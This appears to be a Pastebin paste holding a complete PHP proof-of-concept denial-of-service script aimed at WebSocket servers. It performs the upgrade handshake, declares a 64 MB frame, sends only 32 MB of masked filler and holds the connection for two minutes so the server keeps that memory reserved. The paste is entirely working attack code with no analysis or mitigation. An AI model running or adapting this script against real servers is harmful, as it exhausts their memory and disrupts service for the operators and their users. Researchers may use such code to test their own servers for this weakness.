Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $host = '127.0.0.1';
- $port = 8080;
- $path = '/test';
- // Must be more than $sendBytes. This will never be reached.
- $claimedBytes = 64 * 1024 * 1024; // Reserve 64mb
- // Must be below $claimedBytes. Server will reserve this for as long as $holdSeconds
- $sendBytes = 32 * 1024 * 1024; // Server will now keep 32mb in memory
- // How long to actually reserve the memory for.
- $holdSeconds = 120;
- function writeAll($socket, $data)
- {
- $offset = 0;
- while ($offset < strlen($data)) {
- $n = fwrite($socket, substr($data, $offset));
- if ($n === false || $n === 0) {
- throw new Exception('Socket write failed');
- }
- $offset += $n;
- }
- }
- function maskData($data, $mask, $offset)
- {
- $out = '';
- for ($i = 0; $i < strlen($data); $i++) {
- $out .= chr(ord($data[$i]) ^ ord($mask[($offset + $i) % 4]));
- }
- return $out;
- }
- $socket = fsockopen($host, $port, $errno, $error, 5);
- if (!$socket) {
- die("Connection failed: $error\n");
- }
- $key = base64_encode(random_bytes(16));
- $request =
- "GET $path HTTP/1.1\r\n" .
- "Host: $host:$port\r\n" .
- "Upgrade: websocket\r\n" .
- "Connection: Upgrade\r\n" .
- "Sec-WebSocket-Version: 13\r\n" .
- "Sec-WebSocket-Key: $key\r\n\r\n";
- writeAll($socket, $request);
- $response = '';
- while (strpos($response, "\r\n\r\n") === false) {
- $chunk = fread($socket, 4096);
- if ($chunk === false || $chunk === '') {
- die("Incomplete handshake\n");
- }
- $response .= $chunk;
- }
- if (!preg_match('/^HTTP\/\d\.\d\s+101\b/m', $response)) {
- die("Upgrade failed:\n$response\n");
- }
- $mask = random_bytes(4);
- /*
- * FIN + text opcode, masked, 64-bit declared length.
- * The payload is intentionally incomplete.
- */
- $frameHeader =
- chr(0x81) .
- chr(0x80 | 127) .
- pack('NN', 0, $claimedBytes) .
- $mask;
- writeAll($socket, $frameHeader);
- $sent = 0;
- $chunkSize = 65536;
- while ($sent < $sendBytes) {
- $size = min($chunkSize, $sendBytes - $sent);
- $plain = str_repeat('A', $size);
- writeAll($socket, maskData($plain, $mask, $sent));
- $sent += $size;
- }
- echo "Sent $sent bytes of a claimed $claimedBytes-byte frame.\n";
- echo "Holding connection for {$holdSeconds} seconds...\n";
- sleep($holdSeconds);
- fclose($socket);
Add Comment
Please, Sign In to add comment